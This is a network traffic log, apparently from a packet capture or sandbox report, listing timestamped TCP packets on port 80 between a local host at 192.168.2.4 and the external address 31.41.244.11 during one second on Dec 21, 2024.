Dec 21, 2024 10:15:11.209594965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.211555958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.211613894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.211685896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.211739063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.213773012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.213829994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.213916063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.213968992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.215961933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.216018915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.216070890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.216124058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.218152046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.218209028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.218271017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.218326092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.220422029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.220516920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.220555067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.220607996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.222556114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.222616911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.222690105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.222744942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.224845886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.224900961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.224976063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.225030899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.226984978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.227039099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.227045059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.227087975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.229152918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.229212999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.229301929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.229358912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.231358051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.231493950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.231544018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.231591940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.233494997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.233552933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.233649969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.233705997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.235687017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.235743046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.235831976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.235884905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.237921953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.237996101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.238070011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.238126993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.240165949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.240222931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.240266085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.240319014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.242327929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.242429018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.242491961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.242546082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.244503975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.244559050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.244609118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.244663954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.246701956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.246758938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.246819019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.246869087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.248893976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.248929024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.248948097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.248975039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.251060009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.251116991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.251168013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.251223087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.253295898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.253418922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.253448009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.253514051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.255516052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.255573988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.255613089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.255665064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.257689953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.257759094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.257767916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.257822037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.259860039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.259929895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.260070086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.260126114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.262011051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.262063026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.262136936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.262192011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.264332056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.264368057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.264384031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.264427900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.266413927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.266467094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.266599894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.266658068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.268629074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.268681049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.268748045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.268796921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.270854950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.270912886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.270968914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.271017075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.273129940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.273164988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.273189068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.273222923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.275276899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.275351048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.275388002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.275435925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.277404070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.277453899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.277518034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.277566910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.279627085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.279678106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.279764891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.279810905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.281893015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.281955004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.282058001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.282113075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.283991098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.284045935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.284203053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.284259081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.286138058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.286195040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.364906073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.364959002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.365082979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.365138054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.365963936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.366019011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.366022110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.366069078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.367614031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.367672920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.367774963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.367824078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.369534969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.369596958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.369775057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.369831085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.371279001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.371351957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.371427059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.371479988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.373136044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.373198986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.373209953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.373305082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.374991894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.375045061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.375046968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.375099897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.376868963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.376919985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.376944065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.376991034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.378426075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.378475904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.378585100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.378633976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.380220890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.380275011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.380693913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.380749941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.381855011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.381922007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.382083893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.382138968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.383654118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.383707047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.383759975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.383816004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.385344028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.385469913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.385509968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.385543108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.386888027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.386951923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.386987925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.387041092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.388545036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.388597965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.388705015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.388758898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.390161037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.390211105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.390336037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.390391111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.391796112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.391846895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.391947031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.391999960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.393565893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.393603086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.393627882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.393671036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.394951105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.395008087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.395102978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.395154953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.396521091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.396579027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.396610022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.396662951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.398108959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.398169994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.398227930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.398291111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.399600029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.399658918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.399719000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.399775028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.401166916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.401221991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.401365042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.401420116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.402684927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.402750969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.402782917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.402837038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.404211998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.404310942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.404311895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.404361963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.405709028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.405750036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.405766010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.405797005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.407270908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.407342911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.407345057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.407388926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.408685923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.408740997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.408740997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.408797979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.410176992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.410232067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.410234928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.410290003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.411633015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.411669016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.411689997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.411720991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.413110971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.413163900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.413263083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.413314104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.414633036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.414731979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.414777040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.414835930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.416064024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.416124105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.416181087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.416234970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.417495966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.417550087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.417653084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.417710066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.419039965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.419100046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.419214964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.419270992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.420450926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.420501947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.420634031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.420687914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.421935081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.421991110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.422132015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.422184944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.423726082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.423782110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.424523115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.424577951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.424920082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.425045013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.425072908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.425118923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.426364899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.426424980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.426491022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.426542044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.427974939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.428028107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.428066969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.428119898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.429382086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.429440022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.429585934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.429641962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.430799007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.430852890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.430902004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.430960894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.432317019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.432369947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.432524920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.432590961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.433728933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.433785915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.433854103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.433907986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.436415911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.436489105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.436995983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.437067032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.438709974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.438745022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.438764095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.438811064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.439053059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.439090967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.439110994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.439141035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.440511942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.440571070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.440655947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.440704107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.441996098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.442064047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.442142963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.442199945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.443388939 CET	80	49765	31.41.244.11	192.168.2.4
